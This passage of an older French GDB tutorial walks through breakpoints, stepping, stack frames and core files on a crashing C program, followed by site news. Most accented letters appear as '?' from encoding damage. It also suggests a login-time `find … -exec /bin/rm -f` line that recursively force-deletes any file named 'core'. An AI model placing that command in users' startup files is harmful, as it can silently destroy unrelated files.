Ce message d’erreur est bien clair?: il y a un probl?me avec la variable str. Il faut noter que cet affichage d?pend du syst?me sur lequel on travaille?: chez moi, je n’ai pas cette erreur, mais str[i] donne un affichage (un peu d?bile, certes). Si la variable est « normale », ?a marche. Et maintenant, qu’est-ce qu’on fait??

Tout ceci est bien, mais ce serait encore mieux si on pouvait suivre le d?roulement du programme dans tous ses d?tails. On va donc relancer le programme et faire du pas ? pas o? on veut.

Tout d’abord, il faut arr?ter notre programme. Bien qu’il soit plant?, GDB consid?re que le programme tourne encore (pour afficher les variables, la pile…). Pour arr?ter le programme, on fait?:

kill
. 

(gdb) kill Kill the program being debugged?? (y or n) y (gdb) 

Avant tout, on va placer un point d’arr?t au d?but de la fonction qui fait planter (le reste, on s’en fiche). Pour cela, on utilise la commande?:

break


 (gdb) break 4
 Breakpoint 1 at 0x105ec: file bugger.c, line 4.
 (gdb)

Note?: si on d?bogue un programme utilisant plusieurs fichiers source, il faut pr?ciser le fichier. On taperait alors?:

break bugger.c:4

On peut aussi donner un nom de fonction?:

break lire_fichier

Maintenant, on relance le programme, qui va s’arr?ter au premier point d’arr?t trouv? (notons que GDB reprend automatiquement les arguments du pr?c?dent appel ? run lorsqu’on utilise run sans arguments.)?:

(gdb) run
 Starting program: /users3/bchastag/bugger bugger /etc/hosts

 Breakpoint 1, lire_fichier (f=0x3) at bugger.c:4
 4 ? ? ? char *lire_fichier(FILE* f){
 3: str = 0x10034 ""
 2: c = 2010
 1: i = -12906352
 (gdb)

Remarquons au passage que les variables dont nous avons demand? l’affichage ? l’aide de display sont bien affich?es automatiquement apr?s chaque commande. Faisons du pas ? pas. La commande est?:

next

L?, il faut apporter quelques pr?cisions. La commande next ex?cute les instructions les une apr?s les autres, jusque l? rien de compliqu?. Et les appels de fonctions?? Et bien, la commande next les consid?re comme une seule instruction, et ex?cute donc son code sans rien d?tailler.

Si on veut entrer dans la fonction avec le d?bogueur pas ? pas, il faut utiliser la commande step. Il en va de m?me pour les boucles (while et for).

Voyons maintenant le r?sultat de next jusqu’? l’erreur (notons que quand on ne tape que sur entr?e, GDB ex?cute la commande pr?c?dente)?:

(gdb) next
 lire_fichier (f=0x8049708) at bugger.c:5
 5 ? ? ? ? ? ? ? int c,i=0;
 3: str = 0x10034 ""
 2: c = 2010
 1: i = -12906352
 (gdb)
 7 ? ? ? ? ? ? ? while ((c=getc(f))!=EOF){
 3: str = 0x10034 ""
 2: c = 2010
 1: i = 0
 (gdb)
 8 ? ? ? ? ? ? ? ? ? ? ? str[i++]=(char)c;
 3: str = 0x10034 ""
 2: c = 35
 1: i = 0
 (gdb)

 Program received signal SIGSEGV, Segmentation fault.
 0x080484cb in lire_fichier (f=0xff33c304) at bugger.c:8
 8 ? ? ? ? ? ? ? ? ? ? ? str[i++]=(char)c;
 3: str = 0x10034 ""
 2: c = 35
 1: i = 0
 (gdb)

Il faut noter qu’en fonctionnement normal (hors plantage), la ligne de code affich?e par GDB est celle qui va s’ex?cuter. Elle n’a donc pas encore ?t? ex?cut?e.

Quelques commandes sont associ?es ? step et next?:

?ni et si?: comme next et step mais peuvent prendre un argument N pour ex?cuter N instructions d’un coup?;
?cont?: reprend l’ex?cution du programme jusqu’au prochain point d’arr?t.

Pour quitter GDB, la commande est tout simplement quit. Si votre programme est toujours en train de tourner, GDB vous demande confirmation pour quitter. Pour ?viter cela, il suffit de penser ? tuer son processus (commande kill) avant de quitter.

Pour aller plus loin

Quelques commandes utiles

Une commande tr?s utile de GDB est help. Elle affiche la liste des cat?gories de commandes. Un help commande donne davantage d’informations sur la commande. A utiliser sans mod?ration.

Une autre commande utile est info, suivi ou non d’un nom de commande, par exemple info threads affichera les informations concernants les threads courants.

GDB conna?t la commande make, tr?s utile pour reconstruire un ex?cutable sans avoir ? quitter puis relancer GDB

Enfin, GDB conna?t la compl?tion automatique pour les noms de fichers?: taper TAB affichera toutes les possibilit?s, comme dans un shell.

S?lectionner un bloc de m?moire

Quand on a des appels de fonctions compliqu?s, il n’est pas rare que l’on veuille des informations non pas sur le bloc de m?moire courant, mais sur un autre (un appelant). C’est souvent le cas quand on a un malloc qui plante?: GDB affiche fi?rement le num?ro de ligne fautif de malloc.c, mais on s’en fiche.

Rappelons la trace pour notre petit exemple?:

(gdb) where
 #0 ?0x1067c in lire_fichier (f=0xff33c304) at bugger.c:8
 #1 ?0x106f4 in main (argc=2, argv=0xffbefb94) at bugger.c:18
 (gdb)

Les seules variables que l’on puisse afficher ici sont celles visibles par la fonction lire_fichier. Pour acc?der aux variables du main, il faut taper la commande suivante?:

frame 

 (gdb) frame 1
 #1 ?0x106f4 in main (argc=2, argv=0xffbefb94) at bugger.c:18
 18 ? ? ? ? ? ? ?chaine=lire_fichier(file);
 (gdb)

Voil? ? quoi servent les fameux num?ros que nous donnaient la commande where. Et maintenant, on peut taper print chaine sans probl?me.

A quoi servent ces fichiers core??

Quand un programme plante, il n’est pas rare qu’un fichier core soit cr??. Ce fichier contient l’?tat de la m?moire au moment du plantage (ce qui explique qu’ils soient si gros).

Dans certains cas, le bogue n’est pas d?terministe. Dans d’autres cas, il y a un bogue en fonctionnement normal, mais il dispara?t quand on met des traces ou quand on utilise GDB. Ces deux derniers cas sont d?s au fait que la fonction printf et GDB modifient le tas (heap), et donc le programme obtenu n’est plus celui qui plante.

Dans ces cas, le fichier core va nous aider. Comme il contient l’?tat du syst?me au moment du plantage, on devrait pouvoir comprendre d’o? vient le plobl?me.

Reprenons notre exemple, et lan?ons GDB?:

$ gdb bugger
 GNU gdb 4.18
 Copyright 1998 Free Software Foundation, Inc.
 GDB is free software, covered by the GNU General Public License, and you are
 welcome to change it and/or distribute copies of it under certain conditions.
 Type "show copying" to see the conditions.
 There is absolutely no warranty for GDB. ?Type "show warranty" for details.
 This GDB was configured as "sparc-sun-solaris2.8"...
 (gdb) core core
 warning: core file may not match specified executable file.
 Core was generated by `./bugger /etc/hosts'.
 Program terminated with signal 11, Segmentation Fault.
 Reading symbols from /usr/lib/libc.so.1...done.
 Reading symbols from /usr/lib/libdl.so.1...done.
 Reading symbols from /usr/platform/SUNW,Sun-Fire/lib/libc_psr.so.1...done.
 #0 ?0x1067c in lire_fichier (f=0xff33c304) at bugger.c:8
 8 ? ? ? ? ? ? ? ? ? ? ? str[i++]=(char)c;
 (gdb)

La commande core core dit qu’on va utiliser le fichier de type core qui s’appelle « core ».

On constate que le r?sultat est le m?me que celui obtenu par un run. Magique…

Cependant, les bogues n?cessitant l’usage du fichier core… je n’en n’ai jamais vu. Ces fichiers sont assez gourmands en espace m?moire (80?Ko pour cet exemple basique, mais j’ai d?j? vu des fichiers core de 2?Go), mieux vaut donc ne pas les garder. Pour cela, plusieurs moyens?:

?les enlever r?guli?rement ? la main. Pas tr?s pratique, ni tr?s s?r (un oubli est vite arriv?)?;
?limiter leur taille au niveau du shell en ajoutant au .tcshrc (respectivement le .bashrc) la ligne suivante?:

limit coredumpsize 0
(ou, en bash?: ulimit -c 0)?;
?ajouter ? la fin de votre .xsession la commande?:

find -name ‘core’ -exec /bin/rm -f {} ;

Le mieux ?tant d’utiliser les deux derni?res solutions ensemble.

Pour plus de documentation

La documentation compl?te de GDB peut ?tre trouv?e sur le site de GNU ? l’adresse suivante?:
http://www.gnu.org/manual/gdb-5.1.1

Extract from ensigogne : writted by laurent.goujon@ensimag.fr

Quelques Nouvelles du site

Vendredi 21 novembre 2003

Apres plus de 4 mois d’inactivite coding reprend du service, les vacances etant finis, on se remet au travail !! Bref …. Coding est tout beau tout neuf, il implemente phpNuke6.9 la derniere version de phpNuke (on essaiera de mettre la 7 qd elle sortira, on en est pas encore la), Je vais pas tarder a vous ajouter quelques petits textes
des downloads, liens et tout les restes …
++

Joyeux Noel

Mardi 24 décembre 2002

Toute l’?quipe de coding ( c’est a dire moi …) vous souhaite un joyeux noel ;)